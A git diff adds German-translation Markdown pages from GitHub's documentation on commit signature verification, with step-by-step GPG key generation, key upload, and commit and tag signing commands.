+{% data reusables.gpg.supported-gpg-key-algorithms %}
+
+When verifying a signature, {% data variables.product.product_name %} extracts the signature and attempts to parse its key ID. The key ID is then matched with keys added to {% data variables.product.product_name %}. Until a matching GPG key is added to {% data variables.product.product_name %}, it cannot verify your signatures.
+
+## Adding a GPG key
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.ssh %}
+3. Click **New GPG key**.
+   ![GPG Key button](/assets/images/help/settings/gpg-add-gpg-key.png)
+4. In the "Key" field, paste the GPG key you copied when you [generated your GPG key](/articles/generating-a-new-gpg-key).
+   ![The key field](/assets/images/help/settings/gpg-key-paste.png)
+5. Click **Add GPG key**.
+   ![The Add key button](/assets/images/help/settings/gpg-add-key.png)
+6. To confirm the action, enter your {% data variables.product.product_name %} password.
+
+{% ifversion upload-expired-or-revoked-gpg-key %}
+{% else %}
+## Updating an expired GPG key
+
+When verifying a signature, {% data variables.product.product_name %} checks that the key is not revoked or expired. If your signing key is revoked or expired, {% data variables.product.product_name %} cannot verify your signatures.
+
+If your key is expired, you must [update its expiration](https://www.gnupg.org/gph/en/manual.html#AEN329), export the new key, delete the expired key in your account on {% data variables.product.product_name %}, and add the new key to your account as described above. Your previous commits and tags will show as verified, as long as the key meets all other verification requirements.
+
+If your key is revoked, use the primary key or another key that is not revoked to sign your commits.
+
+If your key is invalid and you don't use another valid key in your key set, but instead generate a new GPG key with a new set of credentials, then your commits made with the revoked or expired key will continue to show as unverified. Also, your new credentials will not be able to re-sign or verify your old commits and tags.
+{% endif %}
+
+## Further reading
+
+- "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)"
+- "[Generating a new GPG key](/articles/generating-a-new-gpg-key)"
+- "[Telling Git about your signing key](/articles/telling-git-about-your-signing-key)"
+- "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)"
+- "[Signing commits and tags using GPG keys](/articles/signing-commits-and-tags-using-gpg)"
+- "[About commit signature verification](/articles/about-commit-signature-verification)"
diff --git a/translations/de-DE/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md b/translations/de-DE/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md
new file mode 100644
index 0000000000..3c92549eb7
--- /dev/null
+++ b/translations/de-DE/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md
@@ -0,0 +1,62 @@
+---
+title: Associating an email with your GPG key
+intro: 'Your GPG key must be associated with a {% data variables.product.product_name %} verified email that matches your committer identity.'
+redirect_from:
+  - /articles/associating-an-email-with-your-gpg-key
+  - /github/authenticating-to-github/associating-an-email-with-your-gpg-key
+  - /github/authenticating-to-github/managing-commit-signature-verification/associating-an-email-with-your-gpg-key
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Associate email with GPG key
+---
+{% note %}
+
+If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, then you can begin signing commits and signing tags.
+
+{% endnote %}
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+{% data reusables.gpg.list-keys-with-note %}
+{% data reusables.gpg.copy-gpg-key-id %}
+4. Enter `gpg --edit-key GPG key ID`, substituting in the GPG key ID you'd like to use. In the following example, the GPG key ID is `3AA5C34371567BD2`:
+  ```shell
+  $ gpg --edit-key 3AA5C34371567BD2
+  ```
+5. Enter `gpg> adduid` to add the user ID details.
+  ```shell
+  $ gpg> adduid
+  ```
+6. Follow the prompts to supply your real name, email address, and any comments. You can modify your entries by choosing `N`, `C`, or `E`. {% data reusables.gpg.private-email %} {% ifversion fpt or ghec %} For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address)."{% endif %}
+  ```shell
+  Real Name: OCTOCAT
+  Email address: "octocat@github.com"
+  Comment: GITHUB-KEY
+  Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit?
+  ```
+7. Enter `O` to confirm your selections.
+8. Enter your key's passphrase.
+9. Enter `gpg> save` to save the changes
+  ```shell
+  $ gpg> save
+  ```
+10. Enter `gpg --armor --export GPG key ID`, substituting in the GPG key ID you'd like to use. In the following example, the GPG key ID is `3AA5C34371567BD2`:
+  ```shell
+  $ gpg --armor --export 3AA5C34371567BD2
+  # Prints the GPG key, in ASCII armor format
+  ```
+11. Upload the GPG key by [adding it to your GitHub account](/articles/adding-a-gpg-key-to-your-github-account).
+
+## Further reading
+
+- "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)"
+- "[Generating a new GPG key](/articles/generating-a-new-gpg-key)"
+- "[Using a verified email address in your GPG key](/articles/using-a-verified-email-address-in-your-gpg-key)"
+- "[Adding a GPG key to your GitHub account](/articles/adding-a-gpg-key-to-your-github-account)"
+- "[Signing commits](/articles/signing-commits)"
+- "[Signing tags](/articles/signing-tags)"
diff --git a/translations/de-DE/content/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys.md b/translations/de-DE/content/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys.md
new file mode 100644
index 0000000000..6f813b6464
--- /dev/null
+++ b/translations/de-DE/content/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys.md
@@ -0,0 +1,49 @@
+---
+title: Auf vorhandene GPG-Schlüssel prüfen
+intro: 'Bevor du einen GPG-Schlüssel erstellst, kannst du überprüfen, ob du bereits GPG-Schlüssel besitzt.'
+redirect_from:
+  - /articles/checking-for-existing-gpg-keys
+  - /github/authenticating-to-github/checking-for-existing-gpg-keys
+  - /github/authenticating-to-github/managing-commit-signature-verification/checking-for-existing-gpg-keys
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Existing GPG keys
+ms.openlocfilehash: c766f4707f2b208c84394f655a7e8b47a9456f6e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147369297'
+---
+{% data reusables.gpg.supported-gpg-key-algorithms %}
+
+{% note %}
+
+**Hinweis:** GPG wird nicht standardmäßig auf macOS oder Windows installiert. Informationen zum Installieren von GPG-Befehlszeilentools findest du auf [der Downloadseite von GnuPG](https://www.gnupg.org/download/).
+
+{% endnote %}
+
+{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.gpg.list-keys-with-note %}
+3. Überprüfe die Befehlsausgabe, um zu ermitteln, ob du ein GPG-Schlüsselpaar besitzt.
+    * Wenn es keine GPG-Schlüsselpaare gibt oder du keine verwenden möchtest, die zum Signieren von Commits und Tags zur Verfügung stehen, dann [erzeuge einen neuen GPG-Schlüssel](/articles/generating-a-new-gpg-key).
+    * Wenn ein vorhandenes GPG-Schlüsselpaar vorhanden ist und du es zum Signieren von Commits und Tags verwenden möchtest, kannst du den öffentlichen Schlüssel mithilfe des folgenden Befehls anzeigen, indem du die GPG-Schlüssel-ID durch die ersetzt, die du verwenden möchtest. In diesem Beispiel lautet die GPG-Schlüssel-ID `3AA5C34371567BD2`:
+      ```shell
+      $ gpg --armor --export <em>3AA5C34371567BD2</em>
+      # Prints the GPG key ID, in ASCII armor format
+      ```
+      Anschließend kannst du [deinen GPG-Schlüssel zu deinem GitHub-Konto hinzufügen](/articles/adding-a-gpg-key-to-your-github-account).
+
+## Weiterführende Themen
+
+* „[Einen neuen GPG-Schlüssel erzeugen](/articles/generating-a-new-gpg-key)“
+* [Hinzufügen eines GPG-Schlüssels zu deinem GitHub-Konto](/articles/adding-a-gpg-key-to-your-github-account)
+* „[Git deinen Signaturschlüssel mitteilen](/articles/telling-git-about-your-signing-key)“
+* [Verknüpfen einer E-Mail-Adresse mit deinem GPG-Schlüssel](/articles/associating-an-email-with-your-gpg-key)
+* [Signieren von Commits](/articles/signing-commits)
+* [Signieren von Tags](/articles/signing-tags)
diff --git a/translations/de-DE/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md b/translations/de-DE/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md
new file mode 100644
index 0000000000..20c7639fba
--- /dev/null
+++ b/translations/de-DE/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md
@@ -0,0 +1,41 @@
+---
+title: Displaying verification statuses for all of your commits
+shortTitle: Displaying verification for all commits
+intro: You can enable vigilant mode for commit signature verification to mark all of your commits and tags with a signature verification status.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+topics:
+  - Identity
+  - Access management
+redirect_from:
+  - /github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits
+  - /github/authenticating-to-github/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits
+---
+
+{% data reusables.identity-and-permissions.vigilant-mode-beta-note %}
+
+## About vigilant mode
+
+When you work locally on your computer, Git allows you to set the author of your changes and the identity of the committer. This, potentially, makes it difficult for other people to be confident that commits and tags you create were actually created by you. To help solve this problem you can sign your commits and tags. For more information, see "[Signing commits](/github/authenticating-to-github/signing-commits)" and "[Signing tags](/github/authenticating-to-github/signing-tags)." {% data variables.product.prodname_dotcom %} marks signed commits and tags with a verification status. 
+
+By default commits and tags are marked "Verified" if they are signed with a GPG{% ifversion ssh-commit-verification %}, SSH,{% endif %} or S/MIME key that was successfully verified. If a commit or tag has a signature that can't be verified by {% data variables.product.prodname_dotcom %}, we mark the commit or tag "Unverified." In all other cases no verification status is displayed.
+
+However, you can give other users increased confidence in the identity attributed to your commits and tags by enabling vigilant mode in your {% data variables.product.prodname_dotcom %} settings. With vigilant mode enabled, all of your commits and tags are marked with one of three verification statuses.
+
+![Signature verification statuses](/assets/images/help/commits/signature-verification-statuses.png)
+
+{% data reusables.identity-and-permissions.vigilant-mode-verification-statuses %}
+
+You should only enable vigilant mode if you sign all of your commits and tags and use an email address that is verified for your account on {% data variables.product.product_name %} as your committer email address. After enabling this mode, any unsigned commits or tags that you generate locally and push to {% data variables.product.prodname_dotcom %} will be marked "Unverified."
+
+{% data reusables.identity-and-permissions.verification-status-check %}
+
+## Enabling vigilant mode
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.ssh %}
+3. On the SSH Settings page, under "Vigilant mode," select **Flag unsigned commits as unverified**.
+
+   ![Flag unsigned commits as unverified checkbox](/assets/images/help/commits/vigilant-mode-checkbox.png)
diff --git a/translations/de-DE/content/authentication/managing-commit-signature-verification/generating-a-new-gpg-key.md b/translations/de-DE/content/authentication/managing-commit-signature-verification/generating-a-new-gpg-key.md
new file mode 100644
index 0000000000..17d0a209d7
--- /dev/null
+++ b/translations/de-DE/content/authentication/managing-commit-signature-verification/generating-a-new-gpg-key.md
@@ -0,0 +1,73 @@
+---
+title: Einen neuen GPG-Schlüssel erzeugen
+intro: 'Wenn du noch keinen GPG-Schlüssel besitzt, kannst du einen neuen GPG-Schlüssel für das Signieren von Commits und Tags erzeugen.'
+redirect_from:
+  - /articles/generating-a-new-gpg-key
+  - /github/authenticating-to-github/generating-a-new-gpg-key
+  - /github/authenticating-to-github/managing-commit-signature-verification/generating-a-new-gpg-key
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+ms.openlocfilehash: fbe51f7b50414632e6994d6f621441c8923e47f1
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147710227'
+---
+{% data reusables.gpg.supported-gpg-key-algorithms %}
+
+## Einen GPG-Schlüssel erzeugen
+
+{% note %}
+
+**Hinweis:** Bevor du einen neuen GPG-Schlüssel erzeugst, musst du unbedingt deine E-Mail-Adresse verifizieren. Wenn du deine E-Mail-Adresse nicht verifiziert hast, kannst du Commits und Tags nicht mit GPG signieren.{% ifversion fpt or ghec %} Weitere Informationen findest du unter [Verifizieren deiner E-Mail-Adresse](/articles/verifying-your-email-address).{% endif %}
+
+{% endnote %}
+
+1. Lade [die GPG-Befehlszeilentools](https://www.gnupg.org/download/) für dein Betriebssystem herunter und installiere sie. Wir empfehlen normalerweise, die aktuellste Version für dein Betriebssystem zu installieren.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Erzeuge ein GPG-Schlüsselpaar. Da es mehrere GPG-Versionen gibt, musst du möglicherweise die relevante [_Manpage_](https://en.wikipedia.org/wiki/Man_page) konsultieren, um den entsprechenden Befehl zur Schlüsselgenerierung zu finden. Dein Schlüssel muss RSA verwenden.
+    - Wenn du Version 2.1.17 oder höher verwendest, füge den folgenden Text ein, um ein GPG-Schlüsselpaar zu erzeugen.
+      ```shell{:copy}
+      $ gpg --full-generate-key
+      ```
+    - Wenn du nicht Version 2.1.17 oder höher verwendest, funktioniert der `gpg --full-generate-key`-Befehl nicht. Füge den nachfolgenden Text ein, und fahre mit Schritt 6 fort.
+      ```shell{:copy}
+      $ gpg --default-new-key-algo rsa4096 --gen-key
+      ```
+4. Gib an der Eingabeaufforderung den gewünschten Schlüssel ein, oder drücke `Enter`, um die Standardeinstellung zu akzeptieren.
+5. Gib an der Eingabeaufforderung die gewünschte Schlüsselgröße ein, oder drücke `Enter`, um die Standardeinstellung zu akzeptieren. Dein Schlüssel muss mindestens `4096` Bits aufweisen.
+6. Gib die Zeitdauer für die Gültigkeit des Schlüssels ein. Drücke `Enter`, um die Standardeinstellung festzulegen, die vorgibt, dass der Schlüssel nicht abläuft. Es wird empfohlen, diese Standardeinstellung zu übernehmen, außer es ist ein Ablaufdatum erforderlich.
+7. Überprüfe, dass deine Einstellungen korrekt sind.
+8. Gib deine Benutzer-ID-Informationen ein.
+
+  {% note %}
+
+  **Hinweis:** Wenn du zur Eingabe deiner E-Mail-Adresse aufgefordert wirst, stelle sicher, dass du die verifizierte E-Mail-Adresse für dein GitHub-Konto eingibst. {% data reusables.gpg.private-email %} {% ifversion fpt or ghec %} Weitere Informationen findest du unter [Verifizieren deiner E-Mail-Adresse](/articles/verifying-your-email-address) und [Festlegen deiner Commit-E-Mail-Adresse](/articles/setting-your-commit-email-address). {% endif %}
+
+  {% endnote %}
+
+9. Gib eine sichere Passphrase ein.
+{% data reusables.gpg.list-keys-with-note %} {% data reusables.gpg.copy-gpg-key-id %}
+10. Füge den folgenden Text ein, und ersetzte dabei die GPG-Schlüssel-ID, die du verwenden möchtest. In diesem Beispiel lautet die GPG-Schlüssel-ID `3AA5C34371567BD2`:
+ ```shell{:copy}
+ $ gpg --armor --export 3AA5C34371567BD2
+ # Prints the GPG key ID, in ASCII armor format
+ ```
+11. Kopiere deinen GPG-Schlüssel, der mit `-----BEGIN PGP PUBLIC KEY BLOCK-----` beginnt und auf `-----END PGP PUBLIC KEY BLOCK-----` endet.
+12. [Füge den GPG-Schlüssel deinem GitHub-Konto hinzu](/articles/adding-a-gpg-key-to-your-github-account).
+
+## Weitere Informationsquellen
+
+* „[Auf vorhandene GPG-Schlüssel hin prüfen](/articles/checking-for-existing-gpg-keys)“
+* [Hinzufügen eines GPG-Schlüssels zu deinem GitHub-Konto](/articles/adding-a-gpg-key-to-your-github-account)
+* „[Git deinen Signaturschlüssel mitteilen](/articles/telling-git-about-your-signing-key)“
+* [Verknüpfen einer E-Mail-Adresse mit deinem GPG-Schlüssel](/articles/associating-an-email-with-your-gpg-key)
+* [Signieren von Commits](/articles/signing-commits)
+* [Signieren von Tags](/articles/signing-tags)
diff --git a/translations/de-DE/content/authentication/managing-commit-signature-verification/index.md b/translations/de-DE/content/authentication/managing-commit-signature-verification/index.md
new file mode 100644
index 0000000000..fa30d6dd2e
--- /dev/null
+++ b/translations/de-DE/content/authentication/managing-commit-signature-verification/index.md
@@ -0,0 +1,35 @@
+---
+title: Verifizierung einer Commit-Signatur verwalten
+intro: '{% data variables.product.product_name %} verifiziert GPG-{% ifversion ssh-commit-verification %}, SSH-{% endif %} oder S/MIME-Signaturen, damit andere wissen, dass deine Commits aus einer vertrauenswürdigen Quelle stammen.{% ifversion fpt %} {% data variables.product.product_name %} signiert automatisch Commits, die du über die {% data variables.product.product_name %}-Weboberfläche erstellst.{% endif %}'
+redirect_from:
+  - /articles/generating-a-gpg-key
+  - /articles/signing-commits-with-gpg
+  - /articles/managing-commit-signature-verification
+  - /github/authenticating-to-github/managing-commit-signature-verification
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+children:
+  - /about-commit-signature-verification
+  - /displaying-verification-statuses-for-all-of-your-commits
+  - /checking-for-existing-gpg-keys
+  - /generating-a-new-gpg-key
+  - /adding-a-gpg-key-to-your-github-account
+  - /telling-git-about-your-signing-key
+  - /associating-an-email-with-your-gpg-key
+  - /signing-commits
+  - /signing-tags
+shortTitle: Verify commit signatures
+ms.openlocfilehash: 168d3a078c1f2cbf0ec65e5a372dedb79d918176
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147653250'
+---
+
diff --git a/translations/de-DE/content/authentication/managing-commit-signature-verification/signing-commits.md b/translations/de-DE/content/authentication/managing-commit-signature-verification/signing-commits.md
new file mode 100644
index 0000000000..ff4b47fa7a
--- /dev/null
+++ b/translations/de-DE/content/authentication/managing-commit-signature-verification/signing-commits.md
@@ -0,0 +1,62 @@
+---
+title: Commits signieren
+intro: 'Du kannst Commits lokal mit GPG{% ifversion ssh-commit-verification %}, SSH{% endif %} oder S/MIME signieren.'
+redirect_from:
+  - /articles/signing-commits-and-tags-using-gpg
+  - /articles/signing-commits-using-gpg
+  - /articles/signing-commits
+  - /github/authenticating-to-github/signing-commits
+  - /github/authenticating-to-github/managing-commit-signature-verification/signing-commits
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+ms.openlocfilehash: 8550393cc31571756099ac364698434f38b02cfa
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106749'
+---
+{% data reusables.gpg.desktop-support-for-commit-signing %}
+
+{% tip %}
+
+**Tipps:**
+
+Um deinen Git-Client so zu konfigurieren, dass Commits für ein bestimmtes lokales Repository standardmäßig signiert werden, führe in Git-Versionen ab 2.0.0 den Befehl `git config commit.gpgsign true` aus. Führe `git config --global commit.gpgsign true` aus, um alle Commits standardmäßig in einem lokalen Repository auf deinem Computer zu signieren.
+
+Wenn du deine GPG-Schlüssel-Passphrase speichern möchtest, damit du sie nicht bei jeder Signatur eines Commits erneut eingeben musst, empfehlen wir Dir den Einsatz der folgenden Tools:
+  - Mac-Benutzern erlaubt die [GPG Suite](https://gpgtools.org/), die GPG-Schlüssel-Passphrase in Mac OS Keychain zu speichern.
+  - Für Windows Benutzer wird [Gpg4win](https://www.gpg4win.org/) in andere Windows-Tools integriert.
+
+Zum Speichern deiner GPG-Schlüssel-Passphrase kannst du auch einen [gpg-agent](http://linux.die.net/man/1/gpg-agent) manuell konfigurieren. Dieser wird jedoch nicht wie der SSH-Agent in Mac OS Keychain integriert und erfordert mehr Konfiguration.
+
+{% endtip %}
+
+Wenn du über mehrere Schlüssel verfügst oder versuchst, Commits oder Tags mit einem Schlüssel zu signieren, der nicht mit deiner Committeridentität übereinstimmt, solltest du [Git deinen Signaturschlüssel mitteilen](/articles/telling-git-about-your-signing-key).
+
+1. Wenn du Änderungen in deinem lokalen Branch freigeben möchtest, füge dem „git commit“-Befehl das Flag „-S“ hinzu:
+  ```shell
+  $ git commit -S -m "YOUR_COMMIT_MESSAGE"
+  # Creates a signed commit
+  ```
+2. Wenn du GPG verwendest, gib nach dem Erstellen deines Commits die Passphrase an, die du eingerichtet hast, als du [deinen GPG-Schlüssel generiert hast](/articles/generating-a-new-gpg-key).
+3. Übertrage deine Commits, nachdem du sie lokal erstellt hast, mittels Push auf dein Remote-Repository auf {% data variables.product.product_name %}:
+  ```shell
+  $ git push
+  # Pushes your local commits to the remote repository
+  ```
+4. Navigiere auf {% data variables.product.product_name %} zu Deinem Pull Request.
+{% data reusables.repositories.review-pr-commits %}
+5. Wenn du ausführliche Informationen zur verifizierten Signatur sehen möchtest, klicke auf „Verified“ (Verifiziert).
+![Signierter Commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
+
+## Weitere Informationsquellen
+
+* „[Git deinen Signaturschlüssel mitteilen](/articles/telling-git-about-your-signing-key)“
+* [Signieren von Tags](/articles/signing-tags)
diff --git a/translations/de-DE/content/authentication/managing-commit-signature-verification/signing-tags.md b/translations/de-DE/content/authentication/managing-commit-signature-verification/signing-tags.md
new file mode 100644
index 0000000000..002b8b7ade
--- /dev/null
+++ b/translations/de-DE/content/authentication/managing-commit-signature-verification/signing-tags.md
@@ -0,0 +1,42 @@
+---
+title: Tags signieren
+intro: 'Du kannst Tags lokal mit GPG{% ifversion ssh-commit-verification %}, SSH{% endif %} oder S/MIME signieren.'
+redirect_from:
+  - /articles/signing-tags-using-gpg
+  - /articles/signing-tags
+  - /github/authenticating-to-github/signing-tags
+  - /github/authenticating-to-github/managing-commit-signature-verification/signing-tags
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+ms.openlocfilehash: 22bdc1c5095a8fa82d2ac406a19dc633f8f44fc6
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106677'
+---
+{% data reusables.gpg.desktop-support-for-commit-signing %}
+
+1. Um ein Tag zu signieren, füge `-s` deinem `git tag`-Befehl hinzu.
+  ```shell
+  $ git tag -s MYTAG
+  # Creates a signed tag
+  ```
+2. Überprüfe dein signiertes Tag, indem du `git tag -v [tag-name]` ausführst.
+  ```shell
+  $ git tag -v MYTAG
+  # Verifies the signed tag
+  ```
+
+## Weitere Informationsquellen
+
+- [Anzeigen der Tags deines Repositorys](/articles/viewing-your-repositorys-tags)
+- „[Git deinen Signaturschlüssel mitteilen](/articles/telling-git-about-your-signing-key)“
+- [Verknüpfen einer E-Mail-Adresse mit deinem GPG-Schlüssel](/articles/associating-an-email-with-your-gpg-key)
+- [Signieren von Commits](/articles/signing-commits)
diff --git a/translations/de-DE/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md b/translations/de-DE/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
new file mode 100644
index 0000000000..ac86be3a5f
--- /dev/null
+++ b/translations/de-DE/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
@@ -0,0 +1,113 @@
+---
+title: Git zu Signaturschlüsseln benachrichtigen
+intro: 'Um Commits lokal zu signieren, musst du Git darüber informieren, dass es einen GPG-{% ifversion ssh-commit-verification %}, SSH-{% endif %} oder X.509-Schlüssel gibt, den du verwenden möchtest.'
+redirect_from:
+  - /articles/telling-git-about-your-gpg-key
+  - /articles/telling-git-about-your-signing-key
+  - /github/authenticating-to-github/telling-git-about-your-signing-key
+  - /github/authenticating-to-github/managing-commit-signature-verification/telling-git-about-your-signing-key
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Tell Git your signing key
+ms.openlocfilehash: e78306bb1519f2b7f51ab6bc039bff0b982e48cf
+ms.sourcegitcommit: a0ad3bfe2a99c3092e76ca9b3d476cf30988ca55
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/28/2022
+ms.locfileid: '148118995'
+---
+{% mac %}
+
+## Git deinen GPG-Schlüssel mitteilen
+
+Wenn du einen GPG-Schlüssel verwendest, der mit deiner Committer-Identität und deiner verifizierten E-Mail-Adresse übereinstimmt, die mit deinem Konto auf {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} verknüpft ist, kannst du mit dem Signieren von Commits und Tags beginnen.
+
+{% note %}
+
+Wenn du keinen GPG-Schlüssel hast, der deiner Beitragender-Identität entspricht, musst du deinen Schlüssel mit einer E-Mail-Adresse verknüpfen. Weitere Informationen findest du unter „[Zuordnen einer E-Mail zu deinem GPG-Schlüssel](/articles/associating-an-email-with-your-gpg-key).“
+
+{% endnote %}
+
+Wenn du mehrere GPG-Schlüssel hast, musst du Git mitteilen, welcher zu verwenden ist.
+
+{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.gpg.configure-gpg-signing %} {% data reusables.gpg.list-keys-with-note %} {% data reusables.gpg.copy-gpg-key-id %} {% data reusables.gpg.paste-gpg-key-id %} {% data reusables.gpg.set-auto-sign %}
+1. Wenn du die GPG-Suite nicht verwendest, führe den folgenden Befehl in der `zsh` Shell aus, um den GPG-Schlüssel zu deiner `.zshrc` Datei hinzuzufügen, sofern vorhanden, oder zu deiner `.zprofile`Datei:
+  ```shell
+  $ if [ -r ~/.zshrc ]; then echo 'export GPG_TTY=$(tty)' >> ~/.zshrc; \
+    else echo 'export GPG_TTY=$(tty)' >> ~/.zprofile; fi
+  ```
+  Wenn du die `bash` Shell verwendest, führe diesen Befehl aus:
+  ```shell
+  $ if [ -r ~/.bash_profile ]; then echo 'export GPG_TTY=$(tty)' >> ~/.bash_profile; \
+    else echo 'export GPG_TTY=$(tty)' >> ~/.profile; fi
+  ```
+1. Wenn du zur Eingabe einer PIN oder Passphrase aufgefordert werden möchtest, installiere optional `pinentry-mac`. Verwende z. B. [Homebrew](https://brew.sh/):
+  ```shell
+  $ brew install pinentry-mac
+  $ echo "pinentry-program $(which pinentry-mac)" >> ~/.gnupg/gpg-agent.conf
+  $ killall gpg-agent
+  ```
+
+{% endmac %}
+
+{% windows %}
+
+## Git deinen GPG-Schlüssel mitteilen
+
+Wenn du einen GPG-Schlüssel verwendest, der mit deiner Committer-Identität und deiner verifizierten E-Mail-Adresse übereinstimmt, die mit deinem Konto auf {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} verknüpft ist, kannst du mit dem Signieren von Commits und Tags beginnen.
+
+{% note %}
+
+Wenn du keinen GPG-Schlüssel hast, der deiner Beitragender-Identität entspricht, musst du deinen Schlüssel mit einer E-Mail-Adresse verknüpfen. Weitere Informationen findest du unter „[Zuordnen einer E-Mail zu deinem GPG-Schlüssel](/articles/associating-an-email-with-your-gpg-key).“
+
+{% endnote %}
+
+Wenn du mehrere GPG-Schlüssel hast, musst du Git mitteilen, welcher zu verwenden ist.
+
+{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.gpg.configure-gpg-signing %} {% data reusables.gpg.list-keys-with-note %} {% data reusables.gpg.copy-gpg-key-id %} {% data reusables.gpg.paste-gpg-key-id %} {% data reusables.gpg.set-auto-sign %}
+
+{% endwindows %}
+
+{% linux %}
+
+## Git deinen GPG-Schlüssel mitteilen
+
+Wenn du einen GPG-Schlüssel verwendest, der mit deiner Committer-Identität und deiner verifizierten E-Mail-Adresse übereinstimmt, die mit deinem Konto auf {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} verknüpft ist, kannst du mit dem Signieren von Commits und Tags beginnen.
+
+{% note %}
+
+Wenn du keinen GPG-Schlüssel hast, der deiner Beitragender-Identität entspricht, musst du deinen Schlüssel mit einer E-Mail-Adresse verknüpfen. Weitere Informationen findest du unter „[Zuordnen einer E-Mail zu deinem GPG-Schlüssel](/articles/associating-an-email-with-your-gpg-key).“
+
+{% endnote %}
+
+Wenn du mehrere GPG-Schlüssel hast, musst du Git mitteilen, welcher zu verwenden ist.
+
+{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.gpg.configure-gpg-signing %} {% data reusables.gpg.list-keys-with-note %} {% data reusables.gpg.copy-gpg-key-id %} {% data reusables.gpg.paste-gpg-key-id %} {% data reusables.gpg.set-auto-sign %}
+1. Führe zum Hinzufügen des `.bashrc` GPG-Schlüssels zur Startdatei den folgenden Befehl aus:
+  ```bash
+  $ [ -f ~/.bashrc ] && echo 'export GPG_TTY=$(tty)' >> ~/.bashrc
+  ```
+{% endlinux %} {% ifversion ssh-commit-verification %}
+
+## Mitteilung über deinen SSH-Schlüssel an Git
+
+Du kannst einen vorhandenen SSH-Schlüssel zum Signieren von Commits und Tags verwenden oder einen neuen Schlüssel speziell zum Signieren generieren. Weitere Informationen findest du unter [Generieren eines neuen SSH-Schlüssels und Hinzufügen des Schlüssels zum SSH-Agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent).
+
+{% data reusables.gpg.ssh-git-version %}
+
+{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.gpg.configure-ssh-signing %} {% data reusables.gpg.copy-ssh-public-key %} {% data reusables.gpg.paste-ssh-public-key %}
+
+{% endif %}
+
+{% data reusables.gpg.x-509-key %}
+## Weitere Informationsquellen
+
+- [Hinzufügen eines neuen SSH-Schlüssels zu deinem GitHub-Konto](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)
+- [Signieren von Commits](/articles/signing-commits)
+- [Signieren von Tags](/articles/signing-tags)
diff --git a/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md
new file mode 100644
index 0000000000..66084e4142
--- /dev/null
